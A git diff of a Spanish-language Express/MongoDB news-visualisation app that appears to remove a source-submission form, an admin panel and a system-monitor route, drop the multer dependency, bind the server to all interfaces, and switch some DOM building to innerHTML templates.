|
||||||
if (req.body && req.body.website) {
|
|
||||||
return sendSubmitResult(req, res, 200, { ok: true, ref: 'RECIBIDO' });
|
|
||||||
}
|
|
||||||
const mensaje = (req.body.mensaje || '').toString().slice(0, 20000).trim();
|
|
||||||
let tema = (req.body.tema || 'otros').toString().trim();
|
|
||||||
if (!TEMAS_VALIDOS.has(tema)) tema = 'otros';
|
|
||||||
const contacto = (req.body.contacto || '').toString().slice(0, 400).trim();
|
|
||||||
const files = req.files || [];
|
|
||||||
|
|
||||||
if (!mensaje && files.length === 0) {
|
|
||||||
return sendSubmitResult(req, res, 400, { ok: false, error: 'Escribe un mensaje o adjunta al menos un archivo.' });
|
|
||||||
}
|
|
||||||
|
|
||||||
const ref = 'UPL-' + Date.now().toString(36).toUpperCase()
|
|
||||||
+ '-' + Math.random().toString(36).slice(2, 6).toUpperCase();
|
|
||||||
|
|
||||||
const doc = {
|
|
||||||
ref,
|
|
||||||
tema,
|
|
||||||
mensaje,
|
|
||||||
contacto,
|
|
||||||
archivos: files.map((f) => ({
|
|
||||||
nombre_original: f.originalname,
|
|
||||||
guardado: path.basename(f.path),
|
|
||||||
bytes: f.size,
|
|
||||||
mimetype: f.mimetype,
|
|
||||||
})),
|
|
||||||
estado: 'nuevo',
|
|
||||||
creado: new Date(),
|
|
||||||
};
|
|
||||||
// No registramos IP ni contenido en logs por privacidad de la fuente.
|
|
||||||
if (db) await db.collection('submissions').insertOne(doc);
|
|
||||||
return sendSubmitResult(req, res, 200, { ok: true, ref });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Error en /api/submit:', e.message);
|
|
||||||
return sendSubmitResult(req, res, 500, { ok: false, error: 'No se pudo procesar el envío. Inténtalo de nuevo.' });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// **Panel de administración: lectura de envíos (fail-closed)**
|
|
||||||
const crypto = require('crypto');
|
|
||||||
const ADMIN_TOKEN_FILE = path.join(__dirname, '../../FLUJOS_DATOS/.admin_token');
|
|
||||||
|
|
||||||
function getAdminToken() {
|
|
||||||
if (process.env.ADMIN_TOKEN && process.env.ADMIN_TOKEN.trim()) return process.env.ADMIN_TOKEN.trim();
|
|
||||||
try {
|
|
||||||
const t = fs.readFileSync(ADMIN_TOKEN_FILE, 'utf8').trim();
|
|
||||||
return t || null;
|
|
||||||
} catch (e) { return null; }
|
|
||||||
}
|
|
||||||
function safeEqual(a, b) {
|
|
||||||
const ba = Buffer.from(String(a)); const bb = Buffer.from(String(b));
|
|
||||||
if (ba.length !== bb.length) return false;
|
|
||||||
return crypto.timingSafeEqual(ba, bb);
|
|
||||||
}
|
|
||||||
function requireAdmin(req, res, next) {
|
|
||||||
const token = getAdminToken();
|
|
||||||
if (!token) return res.status(503).json({ ok: false, error: 'Panel no configurado: falta ADMIN_TOKEN o FLUJOS_DATOS/.admin_token' });
|
|
||||||
const auth = req.headers.authorization || '';
|
|
||||||
const provided = auth.startsWith('Bearer ') ? auth.slice(7) : '';
|
|
||||||
if (!provided || !safeEqual(provided, token)) {
|
|
||||||
return res.status(401).json({ ok: false, error: 'No autorizado' });
|
|
||||||
}
|
|
||||||
next();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Listado de envíos (metadatos + mensaje). Más recientes primero.
|
|
||||||
app.get('/api/submissions', requireAdmin, async (req, res) => {
|
|
||||||
try {
|
|
||||||
if (!db) return res.status(503).json({ ok: false, error: 'BD no disponible' });
|
|
||||||
const limit = Math.min(parseInt(req.query.limit, 10) || 100, 500);
|
|
||||||
const docs = await db.collection('submissions')
|
|
||||||
.find({}, { projection: { _id: 0 } })
|
|
||||||
.sort({ creado: -1 }).limit(limit).toArray();
|
|
||||||
res.json({ ok: true, total: docs.length, submissions: docs });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Error /api/submissions:', e.message);
|
|
||||||
res.status(500).json({ ok: false, error: 'Error al leer los envíos' });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// Marcar un envío como revisado / archivado
|
|
||||||
app.post('/api/submissions/:ref/estado', requireAdmin, express.json(), async (req, res) => {
|
|
||||||
try {
|
|
||||||
if (!db) return res.status(503).json({ ok: false, error: 'BD no disponible' });
|
|
||||||
const estado = ['nuevo', 'revisado', 'archivado'].includes((req.body || {}).estado) ? req.body.estado : null;
|
|
||||||
if (!estado) return res.status(400).json({ ok: false, error: 'estado inválido' });
|
|
||||||
const r = await db.collection('submissions').updateOne({ ref: req.params.ref }, { $set: { estado } });
|
|
||||||
res.json({ ok: r.matchedCount > 0, estado });
|
|
||||||
} catch (e) {
|
|
||||||
res.status(500).json({ ok: false, error: 'Error al actualizar' });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// Descarga de un adjunto (valida basename contra traversal; sirve como adjunto)
|
|
||||||
app.get('/api/submissions/file/:guardado', requireAdmin, (req, res) => {
|
|
||||||
const name = path.basename(req.params.guardado || '');
|
|
||||||
if (!name || name.includes('..') || name.startsWith('.')) return res.status(400).json({ ok: false, error: 'nombre inválido' });
|
|
||||||
const full = path.join(SUBMISSIONS_DIR, name);
|
|
||||||
if (!full.startsWith(SUBMISSIONS_DIR) || !fs.existsSync(full)) return res.status(404).json({ ok: false, error: 'no encontrado' });
|
|
||||||
res.setHeader('Content-Type', 'application/octet-stream');
|
|
||||||
res.setHeader('Content-Disposition', `attachment; filename="${name}"`);
|
|
||||||
res.setHeader('X-Content-Type-Options', 'nosniff');
|
|
||||||
fs.createReadStream(full).pipe(res);
|
|
||||||
});
|
|
||||||
|
|
||||||
// **Monitor del sistema: procesos, servicios y progreso de procesamiento (admin)**
|
|
||||||
const os = require('os');
|
|
||||||
const { exec } = require('child_process');
|
|
||||||
function sh(cmd, timeout = 4500) {
|
|
||||||
return new Promise((resolve) => { exec(cmd, { timeout }, (e, out) => resolve(e ? '' : String(out))); });
|
|
||||||
}
|
|
||||||
const SYS_SERVICES = ['mongod', 'flujos-stats', 'coconews-api', 'coconews-ingestor',
|
|
||||||
'coconews-translator', 'coconews-ner', 'coconews-embedder', 'flujos-pipeline'];
|
|
||||||
const SYS_MATCHERS = [
|
|
||||||
{ key: 'mongod', label: 'MongoDB', re: /mongod(\s|$)/ },
|
|
||||||
{ key: 'flujos-stats', label: 'FLUJOS · API del grafo', re: /FLUJOS_APP\.js/ },
|
|
||||||
{ key: 'coconews-api', label: 'Coconews · API', re: /coconews\/api\/server\.js/ },
|
|
||||||
{ key: 'ingestor', label: 'Ingestor RSS', re: /ingestor\.py/ },
|
|
||||||
{ key: 'translator', label: 'Traductor (ES)', re: /translator\.py/ },
|
|
||||||
{ key: 'ner', label: 'NER · entidades', re: /ner\.py/ },
|
|
||||||
{ key: 'embedder', label: 'Embedder en vivo', re: /workers\/embedder\.py/ },
|
|
||||||
{ key: 'backfill', label: 'Backfill de embeddings', re: /backfill_embeddings\.py/ },
|
|
||||||
{ key: 'motor', label: 'Comparación semántica (v2)', re: /motor_comparacion\.py/ },
|
|
||||||
{ key: 'pipeline', label: 'Pipeline maestro', re: /pipeline_maestro\.py/ },
|
|
||||||
{ key: 'mongolo', label: 'Comparación (word-overlap, viejo)', re: /pipeline_mongolo\.py/ },
|
|
||||||
];
|
|
||||||
|
|
||||||
app.get('/api/system', requireAdmin, async (req, res) => {
|
|
||||||
try {
|
|
||||||
const [psOut, actOut, timerOut, svcShow, timerEnabled] = await Promise.all([
|
|
||||||
sh('ps -eo pid,pcpu,pmem,rss,etimes,args --sort=-pcpu --no-headers'),
|
|
||||||
sh('systemctl is-active ' + SYS_SERVICES.join(' ')),
|
|
||||||
sh('systemctl show flujos-pipeline.timer -p NextElapseUSecRealtime -p LastTriggerUSec'),
|
|
||||||
sh('systemctl show flujos-pipeline.service -p ActiveState -p SubState'),
|
|
||||||
sh('systemctl is-enabled flujos-pipeline.timer'),
|
|
||||||
]);
|
|
||||||
const parseKV = (s) => { const o = {}; (s || '').split('\n').forEach((l) => { const i = l.indexOf('='); if (i > 0) o[l.slice(0, i)] = l.slice(i + 1).trim(); }); return o; };
|
|
||||||
|
|
||||||
const actLines = actOut.trim().split('\n');
|
|
||||||
const services = SYS_SERVICES.map((s, i) => ({ name: s, active: (actLines[i] || '').trim() === 'active' }));
|
|
||||||
|
|
||||||
const procesos = [];
|
|
||||||
const seen = new Set();
|
|
||||||
psOut.split('\n').forEach((line) => {
|
|
||||||
const m = line.trim().match(/^(\d+)\s+([\d.]+)\s+([\d.]+)\s+(\d+)\s+(\d+)\s+(.*)$/);
|
|
||||||
if (!m) return;
|
|
||||||
const args = m[6];
|
|
||||||
for (const mt of SYS_MATCHERS) {
|
|
||||||
if (mt.re.test(args)) {
|
|
||||||
procesos.push({ key: mt.key, label: mt.label, pid: +m[1], cpu: +m[2], mem: +m[3], rss: (+m[4]) * 1024, etimes: +m[5] });
|
|
||||||
seen.add(mt.key);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
let progress = null;
|
|
||||||
let comparacion = null;
|
|
||||||
if (db) {
|
|
||||||
const [torrTotal, torrEmb, torrProc, notiTotal, notiEmb, chunks, feedsAct, feedsFallo, subsNuevos, lastNoti] = await Promise.all([
|
|
||||||
db.collection('torrents').estimatedDocumentCount(),
|
|
||||||
db.collection('torrents').countDocuments({ embedding: { $exists: true } }), // vectores reales
|
|
||||||
db.collection('torrents').countDocuments({ procesado_embedding: true }), // procesados (incluye no-aptos)
|
|
||||||
db.collection('noticias').estimatedDocumentCount(),
|
|
||||||
db.collection('noticias').countDocuments({ embedding: { $exists: true } }),
|
|
||||||
db.collection('embeddings_chunks').estimatedDocumentCount(),
|
|
||||||
db.collection('coconews_feeds').countDocuments({ activo: true }),
|
|
||||||
db.collection('coconews_feeds').countDocuments({ fallos: { $gt: 0 } }),
|
|
||||||
db.collection('submissions').countDocuments({ estado: 'nuevo' }),
|
|
||||||
db.collection('noticias').find({}).sort({ _id: -1 }).limit(1).project({ fecha: 1, _id: 0 }).toArray(),
|
|
||||||
]);
|
|
||||||
progress = { torrTotal, torrEmb, torrProc, torrNoApto: Math.max(0, torrProc - torrEmb),
|
|
||||||
notiTotal, notiEmb, chunks, feedsAct, feedsFallo, subsNuevos,
|
|
||||||
lastNoti: (lastNoti[0] && lastNoti[0].fecha) || null };
|
|
||||||
|
|
||||||
// --- Comparación: qué colección sirve el front (v1 word-overlap vs v2 semántica) ---
|
|
||||||
const [v1Aristas, v2Aristas] = await Promise.all([
|
|
||||||
db.collection('comparaciones').estimatedDocumentCount(),
|
|
||||||
db.collection('comparaciones_v2').estimatedDocumentCount(),
|
|
||||||
]);
|
|
||||||
let v2Eventos = 0, v2Muestra = null;
|
|
||||||
if (v2Aristas > 0) {
|
|
||||||
[v2Eventos, v2Muestra] = await Promise.all([
|
|
||||||
db.collection('comparaciones_v2').countDocuments({ posible_evento: true }),
|
|
||||||
db.collection('comparaciones_v2').find({}).sort({ _id: -1 }).limit(1).project({ metodo: 1, modelo: 1, _id: 0 }).toArray().then((a) => a[0] || null),
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
comparacion = {
|
|
||||||
activa: COMPARACIONES_COL,
|
|
||||||
v2Activa: COMPARACIONES_COL === 'comparaciones_v2',
|
|
||||||
v1Aristas, v2Aristas, v2Eventos,
|
|
||||||
metodo: (v2Muestra && v2Muestra.metodo) || null,
|
|
||||||
modelo: (v2Muestra && v2Muestra.modelo) || null,
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// --- Pipeline maestro: reconstruir ejecuciones desde pipeline_log ---
|
|
||||||
const PIPE_FASES = ['scraping', 'analisis', 'comparacion'];
|
|
||||||
const PIPE_LABEL = { scraping: 'Scraping', analisis: 'Análisis', comparacion: 'Comparación' };
|
|
||||||
let pipelineMaestro = null;
|
|
||||||
if (db) {
|
|
||||||
const logs = await db.collection('pipeline_log').find({}).sort({ inicio: 1 }).toArray();
|
|
||||||
const runs = []; let cur = null;
|
|
||||||
logs.forEach((l) => {
|
|
||||||
if (l.fase === 'scraping' || !cur) { if (cur) runs.push(cur); cur = { inicio: l.inicio, fin: l.fin, fases: {} }; }
|
|
||||||
cur.fases[l.fase] = { estado: l.estado, inicio: l.inicio, fin: l.fin, stats: l.stats || {} };
|
|
||||||
if (l.fin && (!cur.fin || new Date(l.fin) > new Date(cur.fin))) cur.fin = l.fin;
|
|
||||||
});
|
|
||||||
if (cur) runs.push(cur);
|
|
||||||
const currentRun = runs[runs.length - 1] || null;
|
|
||||||
const finished = runs.filter((r) => r.fases.comparacion && r.fases.comparacion.fin);
|
|
||||||
const lastFinished = finished[finished.length - 1] || null;
|
|
||||||
const nowMs = Date.now();
|
|
||||||
const fasesArr = PIPE_FASES.map((f) => {
|
|
||||||
const e = currentRun && currentRun.fases[f];
|
|
||||||
const durSec = e ? (e.fin ? (new Date(e.fin) - new Date(e.inicio)) / 1000 : (nowMs - new Date(e.inicio)) / 1000) : null;
|
|
||||||
return { fase: f, label: PIPE_LABEL[f], estado: e ? e.estado : 'pendiente', durSec, stats: (e && e.stats) || {} };
|
|
||||||
});
|
|
||||||
const svcv = parseKV(svcShow);
|
|
||||||
const timerv = parseKV(timerOut);
|
|
||||||
const nextU = parseInt(timerv.NextElapseUSecRealtime, 10);
|
|
||||||
const lastU = parseInt(timerv.LastTriggerUSec, 10);
|
|
||||||
let nextRun = null;
|
|
||||||
if (nextU > 0) nextRun = Math.round(nextU / 1000);
|
|
||||||
else if (lastU > 0) nextRun = Math.round(lastU / 1000) + 12 * 3600 * 1000; // cada 12 h
|
|
||||||
const running = svcv.SubState === 'start' || svcv.ActiveState === 'activating' || fasesArr.some((f) => f.estado === 'en_progreso');
|
|
||||||
pipelineMaestro = {
|
|
||||||
fases: fasesArr,
|
|
||||||
runInicio: currentRun ? currentRun.inicio : null,
|
|
||||||
runElapsedSec: currentRun ? (nowMs - new Date(currentRun.inicio)) / 1000 : null,
|
|
||||||
lastDurSec: lastFinished ? (new Date(lastFinished.fin) - new Date(lastFinished.inicio)) / 1000 : null,
|
|
||||||
lastFin: lastFinished ? lastFinished.fin : null,
|
|
||||||
nextRun, running, cadencia: 'cada 12 h',
|
|
||||||
habilitado: (timerEnabled || '').trim() === 'enabled',
|
|
||||||
estado: fasesArr.some((f) => f.estado === 'error') ? 'error' : (running ? 'en_progreso' : 'idle'),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
const nextPipeline = pipelineMaestro ? pipelineMaestro.nextRun : null;
|
|
||||||
|
|
||||||
res.json({
|
|
||||||
ok: true,
|
|
||||||
host: { load: os.loadavg(), cores: os.cpus().length, totalmem: os.totalmem(), freemem: os.freemem(), uptime: os.uptime() },
|
|
||||||
services, procesos, progress, nextPipeline, comparacion,
|
|
||||||
pipelines: { maestro: pipelineMaestro },
|
|
||||||
now: Date.now(),
|
|
||||||
});
|
|
||||||
} catch (e) {
|
|
||||||
console.error('/api/system:', e.message);
|
|
||||||
res.status(500).json({ ok: false, error: 'No se pudo leer el estado del sistema' });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// **Luego, definir las rutas de las páginas principales**
|
// **Luego, definir las rutas de las páginas principales**
|
||||||
// Rutas para las páginas principales
|
// Rutas para las páginas principales
|
||||||
app.get('/', (req, res) => {
|
app.get('/', (req, res) => {
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/index.html'));
|
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/index.html'));
|
||||||
});
|
});
|
||||||
|
|
||||||
app.get('/stats.html', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/stats.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
app.get('/climate.html', (req, res) => {
|
app.get('/climate.html', (req, res) => {
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html'));
|
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html'));
|
||||||
});
|
});
|
||||||
|
|
@ -843,9 +168,6 @@ app.get('/eco-corp.html', (req, res) => {
|
||||||
|
|
||||||
// **Después, configurar el middleware de archivos estáticos**
|
// **Después, configurar el middleware de archivos estáticos**
|
||||||
|
|
||||||
// Imágenes scrapeadas de Wikipedia
|
|
||||||
app.use('/wiki-images', express.static(WIKI_IMAGES_DIR));
|
|
||||||
|
|
||||||
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
|
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
|
||||||
|
|
||||||
// Conexión a MongoDB usando variables de entorno
|
// Conexión a MongoDB usando variables de entorno
|
||||||
|
|
@ -864,7 +186,6 @@ async function connectToMongoDB() {
|
||||||
await mongoClient.connect();
|
await mongoClient.connect();
|
||||||
db = mongoClient.db(dbName);
|
db = mongoClient.db(dbName);
|
||||||
console.log('Conectado a MongoDB');
|
console.log('Conectado a MongoDB');
|
||||||
initStats();
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al conectar a MongoDB:', error);
|
console.error('Error al conectar a MongoDB:', error);
|
||||||
process.exit(1); // Salir de la aplicación si no se puede conectar
|
process.exit(1); // Salir de la aplicación si no se puede conectar
|
||||||
|
|
@ -875,7 +196,7 @@ async function connectToMongoDB() {
|
||||||
connectToMongoDB();
|
connectToMongoDB();
|
||||||
|
|
||||||
// Iniciar el servidor escuchando en todas las interfaces
|
// Iniciar el servidor escuchando en todas las interfaces
|
||||||
app.listen(port, '127.0.0.1', () => {
|
app.listen(port, '0.0.0.0', () => {
|
||||||
console.log(`La aplicación está escuchando en http://localhost:${port}`);
|
console.log(`La aplicación está escuchando en http://localhost:${port}`);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
|
||||||
74
FLUJOS/BACK_BACK/package-lock.json
generated
|
|
@ -20,7 +20,6 @@
|
||||||
"mongod": "^2.0.0",
|
"mongod": "^2.0.0",
|
||||||
"mongodb": "^6.9.0",
|
"mongodb": "^6.9.0",
|
||||||
"mongoose": "^7.3.4",
|
"mongoose": "^7.3.4",
|
||||||
"multer": "^2.2.0",
|
|
||||||
"node-fetch": "^3.3.2",
|
"node-fetch": "^3.3.2",
|
||||||
"tree": "^0.1.3"
|
"tree": "^0.1.3"
|
||||||
},
|
},
|
||||||
|
|
@ -2347,11 +2346,6 @@
|
||||||
"node": ">=0.10.0"
|
"node": ">=0.10.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/append-field": {
|
|
||||||
"version": "1.0.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/append-field/-/append-field-1.0.0.tgz",
|
|
||||||
"integrity": "sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw=="
|
|
||||||
},
|
|
||||||
"node_modules/argparse": {
|
"node_modules/argparse": {
|
||||||
"version": "1.0.10",
|
"version": "1.0.10",
|
||||||
"resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
|
"resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
|
||||||
|
|
@ -3101,6 +3095,7 @@
|
||||||
"version": "1.1.2",
|
"version": "1.1.2",
|
||||||
"resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
|
"resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
|
||||||
"integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
|
"integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
|
||||||
|
"dev": true,
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
"node_modules/buffer-xor": {
|
"node_modules/buffer-xor": {
|
||||||
|
|
@ -3117,17 +3112,6 @@
|
||||||
"dev": true,
|
"dev": true,
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
"node_modules/busboy": {
|
|
||||||
"version": "1.6.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz",
|
|
||||||
"integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==",
|
|
||||||
"dependencies": {
|
|
||||||
"streamsearch": "^1.1.0"
|
|
||||||
},
|
|
||||||
"engines": {
|
|
||||||
"node": ">=10.16.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/bytes": {
|
"node_modules/bytes": {
|
||||||
"version": "3.1.2",
|
"version": "3.1.2",
|
||||||
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
|
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
|
||||||
|
|
@ -7871,51 +7855,6 @@
|
||||||
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
|
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
"node_modules/multer": {
|
|
||||||
"version": "2.2.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/multer/-/multer-2.2.0.tgz",
|
|
||||||
"integrity": "sha512-6rdyFg2kLrMh9Jee7/BMPuV9lEAd7lLW2YUpF9/YxR7njyoUwwQ0ZPh3TaIY50Sw6vlyD2HW3wGOkTS4P79xrQ==",
|
|
||||||
"dependencies": {
|
|
||||||
"append-field": "^1.0.0",
|
|
||||||
"busboy": "^1.6.0",
|
|
||||||
"concat-stream": "^2.0.0",
|
|
||||||
"type-is": "^1.6.18"
|
|
||||||
},
|
|
||||||
"engines": {
|
|
||||||
"node": ">= 10.16.0"
|
|
||||||
},
|
|
||||||
"funding": {
|
|
||||||
"type": "opencollective",
|
|
||||||
"url": "https://opencollective.com/express"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/multer/node_modules/concat-stream": {
|
|
||||||
"version": "2.0.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-2.0.0.tgz",
|
|
||||||
"integrity": "sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==",
|
|
||||||
"engines": [
|
|
||||||
"node >= 6.0"
|
|
||||||
],
|
|
||||||
"dependencies": {
|
|
||||||
"buffer-from": "^1.0.0",
|
|
||||||
"inherits": "^2.0.3",
|
|
||||||
"readable-stream": "^3.0.2",
|
|
||||||
"typedarray": "^0.0.6"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/multer/node_modules/readable-stream": {
|
|
||||||
"version": "3.6.2",
|
|
||||||
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
|
|
||||||
"integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
|
|
||||||
"dependencies": {
|
|
||||||
"inherits": "^2.0.3",
|
|
||||||
"string_decoder": "^1.1.1",
|
|
||||||
"util-deprecate": "^1.0.1"
|
|
||||||
},
|
|
||||||
"engines": {
|
|
||||||
"node": ">= 6"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/nan": {
|
"node_modules/nan": {
|
||||||
"version": "2.20.0",
|
"version": "2.20.0",
|
||||||
"resolved": "https://registry.npmjs.org/nan/-/nan-2.20.0.tgz",
|
"resolved": "https://registry.npmjs.org/nan/-/nan-2.20.0.tgz",
|
||||||
|
|
@ -10923,18 +10862,11 @@
|
||||||
"xtend": "^4.0.0"
|
"xtend": "^4.0.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/streamsearch": {
|
|
||||||
"version": "1.1.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz",
|
|
||||||
"integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==",
|
|
||||||
"engines": {
|
|
||||||
"node": ">=10.0.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/string_decoder": {
|
"node_modules/string_decoder": {
|
||||||
"version": "1.3.0",
|
"version": "1.3.0",
|
||||||
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
|
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
|
||||||
"integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
|
"integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
|
||||||
|
"dev": true,
|
||||||
"license": "MIT",
|
"license": "MIT",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"safe-buffer": "~5.2.0"
|
"safe-buffer": "~5.2.0"
|
||||||
|
|
@ -11455,6 +11387,7 @@
|
||||||
"version": "0.0.6",
|
"version": "0.0.6",
|
||||||
"resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
|
"resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
|
||||||
"integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
|
"integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
|
||||||
|
"dev": true,
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
"node_modules/unbox-primitive": {
|
"node_modules/unbox-primitive": {
|
||||||
|
|
@ -11816,6 +11749,7 @@
|
||||||
"version": "1.0.2",
|
"version": "1.0.2",
|
||||||
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
|
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
|
||||||
"integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
|
"integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
|
||||||
|
"dev": true,
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
"node_modules/util.promisify": {
|
"node_modules/util.promisify": {
|
||||||
|
|
|
||||||
|
|
@ -22,7 +22,6 @@
|
||||||
"mongod": "^2.0.0",
|
"mongod": "^2.0.0",
|
||||||
"mongodb": "^6.9.0",
|
"mongodb": "^6.9.0",
|
||||||
"mongoose": "^7.3.4",
|
"mongoose": "^7.3.4",
|
||||||
"multer": "^2.2.0",
|
|
||||||
"node-fetch": "^3.3.2",
|
"node-fetch": "^3.3.2",
|
||||||
"tree": "^0.1.3"
|
"tree": "^0.1.3"
|
||||||
},
|
},
|
||||||
|
|
|
||||||
0
BACK_BACK/FLUJOS_APP.js.save → FLUJOS/README.md
Executable file → Normal file
|
|
@ -85,27 +85,24 @@
|
||||||
cubeContainer.style.top = position.y + 'px';
|
cubeContainer.style.top = position.y + 'px';
|
||||||
cubeContainer.style.left = position.x + 'px';
|
cubeContainer.style.left = position.x + 'px';
|
||||||
|
|
||||||
const cube = document.createElement('div');
|
cubeContainer.innerHTML = `
|
||||||
cube.className = 'cube';
|
<div class="cube">
|
||||||
[['front', `País ${i}`], ['back', `Detalle ${i}`],
|
<div class="face front">País ${i}</div>
|
||||||
['left', `Año ${2000 + i}`], ['right', `Muertos ${(i + 1) * 1000}`],
|
<div class="face back">Detalle ${i}</div>
|
||||||
['top', 'ONU'], ['bottom', 'Fuente']].forEach(([cls, txt]) => {
|
<div class="face left">Año ${2000 + i}</div>
|
||||||
const face = document.createElement('div');
|
<div class="face right">Muertos ${(i + 1) * 1000}</div>
|
||||||
face.className = `face ${cls}`;
|
<div class="face top">ONU</div>
|
||||||
face.textContent = txt;
|
<div class="face bottom">Fuente</div>
|
||||||
cube.appendChild(face);
|
</div>
|
||||||
});
|
`;
|
||||||
cubeContainer.appendChild(cube);
|
|
||||||
|
|
||||||
// Crear un popup para cada cubo
|
// Crear un popup para cada cubo
|
||||||
const popup = document.createElement('div');
|
const popup = document.createElement('div');
|
||||||
popup.classList.add('popup');
|
popup.classList.add('popup');
|
||||||
const p = document.createElement('p');
|
popup.innerHTML = `
|
||||||
p.textContent = `Noticia relacionada con País ${i}`;
|
<p>Noticia relacionada con País ${i}</p>
|
||||||
const btn = document.createElement('button');
|
<button>Close</button>
|
||||||
btn.textContent = 'Close';
|
`;
|
||||||
